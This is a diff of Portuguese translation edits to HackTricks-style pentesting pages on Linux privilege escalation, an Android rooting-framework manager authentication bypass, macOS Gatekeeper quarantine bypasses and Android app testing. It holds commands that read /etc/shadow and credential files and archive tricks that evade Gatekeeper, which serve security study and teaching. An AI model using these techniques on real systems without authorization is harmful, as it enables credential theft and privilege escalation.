+## Abrir sessões de shell
 
-Em **versões antigas** você pode **sequestrar** algumas sessões de **shell** de um usuário diferente (**root**).\
-Em **versões mais recentes** você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
+Em **versões antigas**, você pode **sequestar** algumas sessões de **shell** de um usuário diferente (**root**).\
+Em **versões mais recentes**, você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
 
-### screen sessions hijacking
+### sequestro de sessões de tela
 
 **Listar sessões de tela**
 ```bash
@@ -1124,7 +1124,7 @@ Verifique a **caixa de Valentine do HTB** para um exemplo.
 ### Debian OpenSSL PRNG Previsível - CVE-2008-0166
 
 Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\
-Esse bug é causado ao criar uma nova chave ssh nesses sistemas operacionais, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh, você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+Esse bug é causado ao criar uma nova chave ssh nesses SO, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
 
 ### Valores de configuração interessantes do SSH
 
@@ -1158,7 +1158,7 @@ Você precisa definir essa opção em `$HOME/.ssh.config` assim:
 Host example.com
 ForwardAgent yes
 ```
-Note que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
+Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
 
 O arquivo `/etc/ssh_config` pode **substituir** essas **opções** e permitir ou negar essa configuração.\
 O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir).
@@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
 
 ### Arquivos de Perfis
 
-O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, você pode escalar privilégios**.
+O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, poderá escalar privilégios**.
 ```bash
 ls -l /etc/profile /etc/profile.d/
 ```
@@ -1188,11 +1188,11 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
 #Shadow equivalent files
 cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
 ```
-Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente)
+Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente).
 ```bash
 grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
 ```
-### Writable /etc/passwd
+### Gravável /etc/passwd
 
 Primeiro, gere uma senha com um dos seguintes comandos.
 ```
@@ -1216,7 +1216,7 @@ su - dummy
 ```
 NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso, o `/etc/shadow` é renomeado para `/etc/spwd.db`.
 
-Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
+Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
 ```bash
 find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
 for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
@@ -1235,7 +1235,7 @@ As seguintes pastas podem conter backups ou informações interessantes: **/tmp*
 ```bash
 ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
 ```
-### Arquivos em Localizações Estranhas/Propriedade
+### Arquivos de Localização Estranha/Propriedade
 ```bash
 #root owned files in /home folders
 find /home -user root 2>/dev/null
@@ -1260,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
 ```bash
 find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
 ```
-### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml arquivos
+### \*\_histórico, .sudo_as_admin_successful, perfil, bashrc, httpd.conf, .plano, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml arquivos
 ```bash
 find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
 ```
@@ -1342,7 +1342,7 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede
 
 **Referência de vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
 
-Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<whatever>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
+Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<qualquer>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
 
 Scripts de rede, como _ifcg-eth0_, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
 
@@ -1428,7 +1428,7 @@ cisco-vmanage.md
 
 ## Frameworks de rooting Android: abuso de canal de gerenciador
 
-Frameworks de rooting Android geralmente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um gerenciador de espaço de usuário. A autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem de FD ou esquemas de senha fracos) pode permitir que um aplicativo local se passe pelo gerenciador e escale para root em dispositivos já com root. Saiba mais e detalhes de exploração aqui:
+Frameworks de rooting Android geralmente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um gerenciador de espaço de usuário. A autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem FD ou esquemas de senha fracos) pode permitir que um aplicativo local se passe pelo gerenciador e escale para root em dispositivos já com root. Saiba mais e detalhes de exploração aqui:
 
 {{#ref}}
 android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Frameworks de rooting como KernelSU, APatch, SKRoot e Magisk frequentemente patcham o kernel Linux/Android e expõem funcionalidades privilegiadas a um aplicativo "gerenciador" de espaço de usuário não privilegiado através de uma syscall hookada. Se a etapa de autenticação do gerenciador for falha, qualquer aplicativo local pode acessar esse canal e escalar privilégios em dispositivos já enraizados.
+Frameworks de rooting como KernelSU, APatch, SKRoot e Magisk frequentemente patcham o kernel Linux/Android e expõem funcionalidades privilegiadas a um aplicativo "gerenciador" de espaço de usuário não privilegiado através de uma syscall hookada. Se a etapa de autenticação do gerenciador for falha, qualquer aplicativo local pode acessar esse canal e escalar privilégios em dispositivos já rootados.
 
 Esta página abstrai as técnicas e armadilhas descobertas em pesquisas públicas (notavelmente a análise da Zimperium do KernelSU v0.5.7) para ajudar tanto equipes vermelhas quanto azuis a entender superfícies de ataque, primitivas de exploração e mitigações robustas.
 
@@ -47,7 +47,7 @@ Se todas as verificações passarem, o kernel armazena temporariamente o UID do
 ---
 ## Classe de vulnerabilidade: confiar no “primeiro APK correspondente” da iteração FD
 
-Se a verificação de assinatura se vincular ao "primeiro /data/app/*/base.apk correspondente" encontrado na tabela FD do processo, na verdade não está verificando o próprio pacote do chamador. Um atacante pode pré-posicionar um APK assinado legitimamente (o verdadeiro gerenciador) para que ele apareça antes na lista de FDs do que seu próprio base.apk.
+Se a verificação de assinatura se vincula ao "primeiro /data/app/*/base.apk correspondente" encontrado na tabela FD do processo, na verdade não está verificando o próprio pacote do chamador. Um atacante pode pré-posicionar um APK assinado legitimamente (o verdadeiro gerenciador) para que ele apareça antes na lista de FD do que seu próprio base.apk.
 
 Essa confiança por indireção permite que um aplicativo não privilegiado se passe pelo gerenciador sem possuir a chave de assinatura do gerenciador.
 
@@ -59,7 +59,7 @@ Propriedades-chave exploradas:
 ---
 ## Pré-condições de ataque
 
-- O dispositivo já está enraizado com um framework de rooting vulnerável (por exemplo, KernelSU v0.5.7).
+- O dispositivo já está rootado com um framework de rooting vulnerável (por exemplo, KernelSU v0.5.7).
 - O atacante pode executar código arbitrário não privilegiado localmente (processo de aplicativo Android).
 - O verdadeiro gerenciador ainda não autenticou (por exemplo, logo após uma reinicialização). Alguns frameworks armazenam em cache o UID do gerenciador após o sucesso; você deve vencer a corrida.
 
@@ -145,7 +145,7 @@ Após o sucesso, comandos privilegiados (exemplos):
 - CMD_SET_SEPOLICY: ajustar a política SELinux conforme suportado pelo framework
 
 Dica de corrida/persistência:
-- Registre um receptor BOOT_COMPLETED no AndroidManifest (RECEIVE_BOOT_COMPLETED) para iniciar cedo após a reinicialização e tentar autenticação antes do verdadeiro gerenciador.
+- Registre um receptor BOOT_COMPLETED no AndroidManifest (RECEIVE_BOOT_COMPLETED) para iniciar cedo após a reinicialização e tentar autenticação antes do gerenciador real.
 
 ---
 ## Orientações de detecção e mitigação
@@ -159,7 +159,7 @@ Para desenvolvedores de frameworks:
 - Considere IPC autenticado baseado em binder em vez de sobrecarregar syscalls genéricos quando viável.
 
 Para defensores/equipe azul:
-- Detecte a presença de frameworks de rooting e processos de gerenciador; monitore chamadas prctl com constantes mágicas suspeitas (por exemplo, 0xDEADBEEF) se você tiver telemetria de kernel.
+- Detecte a presença de frameworks de rooting e processos de gerenciador; monitore chamadas prctl com constantes mágicas suspeitas (por exemplo, 0xDEADBEEF) se você tiver telemetria do kernel.
 - Em frotas gerenciadas, bloqueie ou alerte sobre receptores de inicialização de pacotes não confiáveis que tentam rapidamente comandos privilegiados de gerenciador após a inicialização.
 - Certifique-se de que os dispositivos estejam atualizados para versões de framework corrigidas; invalide IDs de gerenciador em cache na atualização.
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md

@@ -45,9 +45,9 @@ codesign -s <cert-name-keychain> toolsdemo
 ```
 ### Notarização
 
-O processo de notarização da Apple serve como uma proteção adicional para proteger os usuários de software potencialmente prejudicial. Envolve o **desenvolvedor enviando sua aplicação para exame** pelo **Serviço de Notário da Apple**, que não deve ser confundido com a Revisão de Aplicativos. Este serviço é um **sistema automatizado** que analisa o software enviado em busca de **conteúdo malicioso** e quaisquer problemas potenciais com a assinatura de código.
+O processo de notarização da Apple serve como uma proteção adicional para proteger os usuários de software potencialmente prejudicial. Envolve o **desenvolvedor enviando sua aplicação para exame** pelo **Serviço de Notarização da Apple**, que não deve ser confundido com a Revisão de Aplicativos. Este serviço é um **sistema automatizado** que analisa o software enviado em busca de **conteúdo malicioso** e quaisquer problemas potenciais com a assinatura de código.
 
-Se o software **passar** nesta inspeção sem levantar preocupações, o Serviço de Notário gera um ticket de notarização. O desenvolvedor é então obrigado a **anexar este ticket ao seu software**, um processo conhecido como 'stapling'. Além disso, o ticket de notarização também é publicado online, onde o Gatekeeper, a tecnologia de segurança da Apple, pode acessá-lo.
+Se o software **passar** nesta inspeção sem levantar preocupações, o Serviço de Notarização gera um ticket de notarização. O desenvolvedor é então obrigado a **anexar este ticket ao seu software**, um processo conhecido como 'stapling'. Além disso, o ticket de notarização também é publicado online, onde o Gatekeeper, a tecnologia de segurança da Apple, pode acessá-lo.
 
 Na primeira instalação ou execução do software pelo usuário, a existência do ticket de notarização - seja anexado ao executável ou encontrado online - **informa ao Gatekeeper que o software foi notarizado pela Apple**. Como resultado, o Gatekeeper exibe uma mensagem descritiva no diálogo de lançamento inicial, indicando que o software passou por verificações de conteúdo malicioso pela Apple. Este processo, portanto, aumenta a confiança do usuário na segurança do software que eles instalem ou executem em seus sistemas.
 
@@ -89,7 +89,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
 Note como a primeira regra terminou em "**App Store**" e a segunda em "**Developer ID**" e que na imagem anterior estava **habilitado para executar aplicativos da App Store e desenvolvedores identificados**.\
 Se você **modificar** essa configuração para App Store, as regras de "**Notarized Developer ID" desaparecerão**.
 
-Existem também milhares de regras do **tipo GKE**:
+Também existem milhares de regras do **tipo GKE**:
 ```bash
 SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
 cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@@ -141,9 +141,9 @@ sudo spctl --enable --label "whitelist"
 spctl --assess -v /Applications/App.app
 /Applications/App.app: accepted
 ```
-Quanto às **extensões de kernel**, a pasta `/var/db/SystemPolicyConfiguration` contém arquivos com listas de kexts permitidos para serem carregados. Além disso, `spctl` possui a permissão `com.apple.private.iokit.nvram-csr` porque é capaz de adicionar novas extensões de kernel pré-aprovadas que também precisam ser salvas na NVRAM em uma chave `kext-allowed-teams`.
+Quanto às **extensões do kernel**, a pasta `/var/db/SystemPolicyConfiguration` contém arquivos com listas de kexts permitidos para serem carregados. Além disso, `spctl` possui a permissão `com.apple.private.iokit.nvram-csr` porque é capaz de adicionar novas extensões do kernel pré-aprovadas que precisam ser salvas também na NVRAM em uma chave `kext-allowed-teams`.
 
-#### Gerenciando o Gatekeeper no macOS 15 (Sequoia) e posterior
+#### Gerenciando o Gatekeeper no macOS 15 (Sequoia) e versões posteriores
 
 A partir do macOS 15 Sequoia, os usuários finais não podem mais alternar a política do Gatekeeper a partir do `spctl`. O gerenciamento é realizado através das Configurações do Sistema ou pela implantação de um perfil de configuração MDM com o payload `com.apple.systempolicy.control`. Exemplo de trecho de perfil para permitir a App Store e desenvolvedores identificados (mas não "Qualquer lugar"):
 ```xml
@@ -181,13 +181,13 @@ A partir do macOS 15 Sequoia, os usuários finais não podem mais alternar a pol
 ```
 ### Quarantine Files
 
-Ao **baixar** um aplicativo ou arquivo, aplicativos específicos do macOS, como navegadores da web ou clientes de email, **anexam um atributo de arquivo estendido**, comumente conhecido como "**flag de quarentena**", ao arquivo baixado. Este atributo atua como uma medida de segurança para **marcar o arquivo** como proveniente de uma fonte não confiável (a internet) e potencialmente carregando riscos. No entanto, nem todos os aplicativos anexam esse atributo; por exemplo, softwares comuns de clientes BitTorrent geralmente ignoram esse processo.
+Ao **baixar** um aplicativo ou arquivo, aplicativos específicos do macOS, como navegadores da web ou clientes de email, **anexam um atributo de arquivo estendido**, comumente conhecido como "**quarantine flag**," ao arquivo baixado. Este atributo atua como uma medida de segurança para **marcar o arquivo** como proveniente de uma fonte não confiável (a internet) e potencialmente carregando riscos. No entanto, nem todos os aplicativos anexam esse atributo; por exemplo, softwares comuns de clientes BitTorrent geralmente ignoram esse processo.
 
-**A presença de um flag de quarentena sinaliza o recurso de segurança Gatekeeper do macOS quando um usuário tenta executar o arquivo**.
+**A presença de uma quarantine flag sinaliza o recurso de segurança Gatekeeper do macOS quando um usuário tenta executar o arquivo**.
 
-No caso em que o **flag de quarentena não está presente** (como com arquivos baixados via alguns clientes BitTorrent), as **verificações do Gatekeeper podem não ser realizadas**. Assim, os usuários devem ter cautela ao abrir arquivos baixados de fontes menos seguras ou desconhecidas.
+No caso em que a **quarantine flag não está presente** (como em arquivos baixados via alguns clientes BitTorrent), as **verificações do Gatekeeper podem não ser realizadas**. Assim, os usuários devem ter cautela ao abrir arquivos baixados de fontes menos seguras ou desconhecidas.
 
-> [!NOTE] > **Verificar** a **validade** das assinaturas de código é um processo **intensivo em recursos** que inclui gerar **hashes** criptográficos do código e todos os seus recursos agrupados. Além disso, verificar a validade do certificado envolve fazer uma **verificação online** nos servidores da Apple para ver se foi revogado após ser emitido. Por essas razões, uma verificação completa de assinatura de código e notificação é **impraticável de ser executada toda vez que um aplicativo é iniciado**.
+> [!NOTE] > **Verificar** a **validade** das assinaturas de código é um processo **intensivo em recursos** que inclui a geração de **hashes** criptográficos do código e de todos os seus recursos agrupados. Além disso, verificar a validade do certificado envolve fazer uma **verificação online** nos servidores da Apple para ver se foi revogado após ser emitido. Por essas razões, uma verificação completa de assinatura de código e notificação é **impraticável de ser executada toda vez que um aplicativo é iniciado**.
 >
 > Portanto, essas verificações são **realizadas apenas ao executar aplicativos com o atributo de quarentena.**
 
@@ -305,19 +305,19 @@ E encontre todos os arquivos em quarentena com:
 ```bash
 find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
 ```
-Quarantine information is also stored in a central database managed by LaunchServices in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** which allows the GUI to obtain data about the file origins. Moreover this can be overwritten by applications which might be interested in hiding its origins. Moreover, this can be done from LaunchServices APIS.
+As informações de quarentena também são armazenadas em um banco de dados central gerenciado pelo LaunchServices em **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, o que permite que a GUI obtenha dados sobre as origens dos arquivos. Além disso, isso pode ser sobrescrito por aplicativos que possam estar interessados em ocultar suas origens. Além disso, isso pode ser feito a partir das APIs do LaunchServices.
 
 #### **libquarantine.dylib**
 
 Esta biblioteca exporta várias funções que permitem manipular os campos de atributos estendidos.
 
-As APIs `qtn_file_*` lidam com políticas de quarentena de arquivos, as APIs `qtn_proc_*` são aplicadas a processos (arquivos criados pelo processo). As funções não exportadas `__qtn_syscall_quarantine*` são as que aplicam as políticas que chamam `mac_syscall` com "Quarantine" como primeiro argumento, que envia as solicitações para `Quarantine.kext`.
+As APIs `qtn_file_*` lidam com políticas de quarentena de arquivos, as APIs `qtn_proc_*` são aplicadas a processos (arquivos criados pelo processo). As funções não exportadas `__qtn_syscall_quarantine*` são as que aplicam as políticas, que chamam `mac_syscall` com "Quarantine" como primeiro argumento, que envia as solicitações para `Quarantine.kext`.
 
 #### **Quarantine.kext**
 
 A extensão do kernel está disponível apenas através do **cache do kernel no sistema**; no entanto, você _pode_ baixar o **Kernel Debug Kit de** [**https://developer.apple.com/**](https://developer.apple.com/), que conterá uma versão simbolizada da extensão.
 
-Este Kext irá interceptar via MACF várias chamadas para capturar todos os eventos do ciclo de vida do arquivo: Criação, abertura, renomeação, hard-linking... até mesmo `setxattr` para impedir que ele defina o atributo estendido `com.apple.quarantine`.
+Este Kext irá interceptar via MACF várias chamadas para capturar todos os eventos do ciclo de vida do arquivo: Criação, abertura, renomeação, linkagem dura... até mesmo `setxattr` para impedir que ele defina o atributo estendido `com.apple.quarantine`.
 
 Ele também usa alguns MIBs:
 
@@ -326,12 +326,12 @@ Ele também usa alguns MIBs:
 
 #### Provenance xattr (Ventura e posterior)
 
-macOS 13 Ventura introduziu um mecanismo de proveniência separado que é populado na primeira vez que um aplicativo em quarentena é permitido executar. Dois artefatos são criados:
+O macOS 13 Ventura introduziu um mecanismo de proveniência separado que é populado na primeira vez que um aplicativo em quarentena é autorizado a ser executado. Dois artefatos são criados:
 
 - O xattr `com.apple.provenance` no diretório do pacote `.app` (valor binário de tamanho fixo contendo uma chave primária e flags).
 - Uma linha na tabela `provenance_tracking` dentro do banco de dados ExecPolicy em `/var/db/SystemPolicyConfiguration/ExecPolicy/` armazenando o cdhash e os metadados do aplicativo.
 
-Practical usage:
+Uso prático:
 ```bash
 # Inspect provenance xattr (if present)
 xattr -p com.apple.provenance /Applications/Some.app | hexdump -C
@@ -344,17 +344,17 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM
 ```
 ### XProtect
 
-XProtect é um recurso de **anti-malware** embutido no macOS. O XProtect **verifica qualquer aplicativo quando é lançado ou modificado pela primeira vez em relação ao seu banco de dados** de malware conhecido e tipos de arquivos inseguros. Quando você baixa um arquivo através de certos aplicativos, como Safari, Mail ou Mensagens, o XProtect escaneia automaticamente o arquivo. Se ele corresponder a algum malware conhecido em seu banco de dados, o XProtect **impedirá a execução do arquivo** e alertará você sobre a ameaça.
+XProtect é um recurso de **anti-malware** embutido no macOS. O XProtect **verifica qualquer aplicativo quando é lançado ou modificado pela primeira vez em relação ao seu banco de dados** de malware conhecido e tipos de arquivos inseguros. Quando você baixa um arquivo através de certos aplicativos, como Safari, Mail ou Messages, o XProtect escaneia automaticamente o arquivo. Se ele corresponder a algum malware conhecido em seu banco de dados, o XProtect **impedirá a execução do arquivo** e alertará você sobre a ameaça.
 
 O banco de dados do XProtect é **atualizado regularmente** pela Apple com novas definições de malware, e essas atualizações são baixadas e instaladas automaticamente no seu Mac. Isso garante que o XProtect esteja sempre atualizado com as últimas ameaças conhecidas.
 
-No entanto, vale a pena notar que **o XProtect não é uma solução antivírus completa**. Ele verifica apenas uma lista específica de ameaças conhecidas e não realiza varredura em tempo de acesso como a maioria dos softwares antivírus.
+No entanto, vale a pena notar que **o XProtect não é uma solução antivírus completa**. Ele verifica apenas uma lista específica de ameaças conhecidas e não realiza varredura em acesso como a maioria dos softwares antivírus.
 
 Você pode obter informações sobre a última atualização do XProtect executando:
 ```bash
 system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
 ```
-XProtect está localizado em um local protegido pelo SIP em **/Library/Apple/System/Library/CoreServices/XProtect.bundle** e dentro do bundle você pode encontrar informações que o XProtect utiliza:
+XProtect está localizado em uma localização protegida pelo SIP em **/Library/Apple/System/Library/CoreServices/XProtect.bundle** e dentro do bundle você pode encontrar informações que o XProtect utiliza:
 
 - **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Permite que códigos com esses cdhashes usem permissões legadas.
 - **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista de plugins e extensões que são proibidos de carregar via BundleID e TeamID ou indicando uma versão mínima.
@@ -376,7 +376,7 @@ Note que há outro aplicativo em **`/Library/Apple/System/Library/CoreServices/X
 
 Portanto, anteriormente era possível executar um aplicativo para armazená-lo em cache com o Gatekeeper, depois **modificar arquivos não executáveis da aplicação** (como arquivos asar ou NIB do Electron) e se nenhuma outra proteção estivesse em vigor, o aplicativo seria **executado** com as adições **maliciosas**.
 
-No entanto, agora isso não é mais possível porque o macOS **impede a modificação de arquivos** dentro dos bundles de aplicativos. Assim, se você tentar o ataque [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), descobrirá que não é mais possível abusar dele porque, após executar o aplicativo para armazená-lo em cache com o Gatekeeper, você não poderá modificar o bundle. E se você mudar, por exemplo, o nome do diretório Contents para NotCon (como indicado no exploit), e então executar o binário principal do aplicativo para armazená-lo em cache com o Gatekeeper, isso acionará um erro e não será executado.
+No entanto, agora isso não é mais possível porque o macOS **impede a modificação de arquivos** dentro dos bundles de aplicativos. Assim, se você tentar o ataque [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), você descobrirá que não é mais possível abusar disso porque, após executar o aplicativo para armazená-lo em cache com o Gatekeeper, você não poderá modificar o bundle. E se você mudar, por exemplo, o nome do diretório Contents para NotCon (como indicado no exploit), e então executar o binário principal do aplicativo para armazená-lo em cache com o Gatekeeper, isso acionará um erro e não será executado.
 
 ## Bypasses do Gatekeeper
 
@@ -408,7 +408,7 @@ Verifique o [**relatório original**](https://www.jamf.com/blog/jamf-threat-labs
 
 ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
 
-Mesmo que os componentes sejam diferentes, a exploração dessa vulnerabilidade é muito semelhante à anterior. Neste caso, geraremos um Apple Archive de **`application.app/Contents`** para que **`application.app` não receba o atributo de quarentena** quando descompactado pelo **Archive Utility**.
+Mesmo que os componentes sejam diferentes, a exploração dessa vulnerabilidade é muito semelhante à anterior. Neste caso, geraremos um Apple Archive a partir de **`application.app/Contents`** para que **`application.app` não receba o atributo de quarentena** quando descompactado pelo **Archive Utility**.
 ```bash
 aa archive -d test.app/Contents -o test.app.aar
 ```
@@ -457,7 +457,7 @@ aa archive -d test/ -o test.aar
 
 # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
 ```
-Ser capaz de criar um arquivo que não terá o atributo de quarentena definido, foi **possível contornar o Gatekeeper.** O truque era **criar um aplicativo de arquivo DMG** usando a convenção de nome AppleDouble (começar com `._`) e criar um **arquivo visível como um link simbólico para este arquivo oculto** sem o atributo de quarentena.\
+Ser capaz de criar um arquivo que não terá o atributo de quarentena definido, foi **possível contornar o Gatekeeper.** O truque foi **criar um aplicativo de arquivo DMG** usando a convenção de nome AppleDouble (começar com `._`) e criar um **arquivo visível como um link simbólico para este arquivo oculto** sem o atributo de quarentena.\
 Quando o **arquivo dmg é executado**, como não tem um atributo de quarentena, ele **contornará o Gatekeeper.**
 ```bash
 # Create an app bundle with the backdoor an call it app.app
@@ -499,6 +499,7 @@ Várias vulnerabilidades em ferramentas de extração populares (por exemplo, Th
 
 Em um pacote ".app", se o xattr de quarentena não for adicionado a ele, ao executá-lo **o Gatekeeper não será acionado**.
 
+
 ## Referências
 
 - Apple Platform Security: Sobre o conteúdo de segurança do macOS Sonoma 14.4 (inclui CVE-2024-27853) – [https://support.apple.com/en-us/HT214084](https://support.apple.com/en-us/HT214084)

src/mobile-pentesting/android-app-pentesting/README.md

@@ -69,7 +69,7 @@ Apenas dando uma olhada nas **strings** do APK você pode procurar por **senhas*
 
 **Firebase**
 
-Preste atenção especial às **URLs do firebase** e verifique se está mal configurado. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
+Preste atenção especial às **URLs do firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 
 ### Compreensão Básica da Aplicação - Manifest.xml, strings.xml
 
@@ -77,10 +77,10 @@ A **examinação dos arquivos _Manifest.xml_ e **_strings.xml_** de uma aplicaç
 
 **Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
 
-- **Aplicações Debugáveis**: Aplicações definidas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggable, consulte um tutorial sobre como encontrar e explorar aplicações debuggable em um dispositivo.
+- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggable, consulte um tutorial sobre como encontrar e explorar aplicações debuggable em um dispositivo.
 - **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada.
 - **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
-- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante testes dinâmicos pode revelar como explorar esses componentes.
+- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise mais aprofundada durante testes dinâmicos pode revelar como explorar esses componentes.
 - **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada.
 - **Broadcast Receivers e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
 - **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança.
@@ -121,7 +121,7 @@ No Android, arquivos **armazenados** no **armazenamento interno** são **projeta
 
 **Armazenamento Externo**
 
-Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas precauções devem ser tomadas:
+Ao lidar com arquivos no **armazenamento externo**, como Cartões SD, certas precauções devem ser tomadas:
 
 1. **Acessibilidade**:
 - Arquivos no armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicação ou usuário pode acessar esses arquivos.
@@ -136,7 +136,7 @@ Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas pre
 O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
 
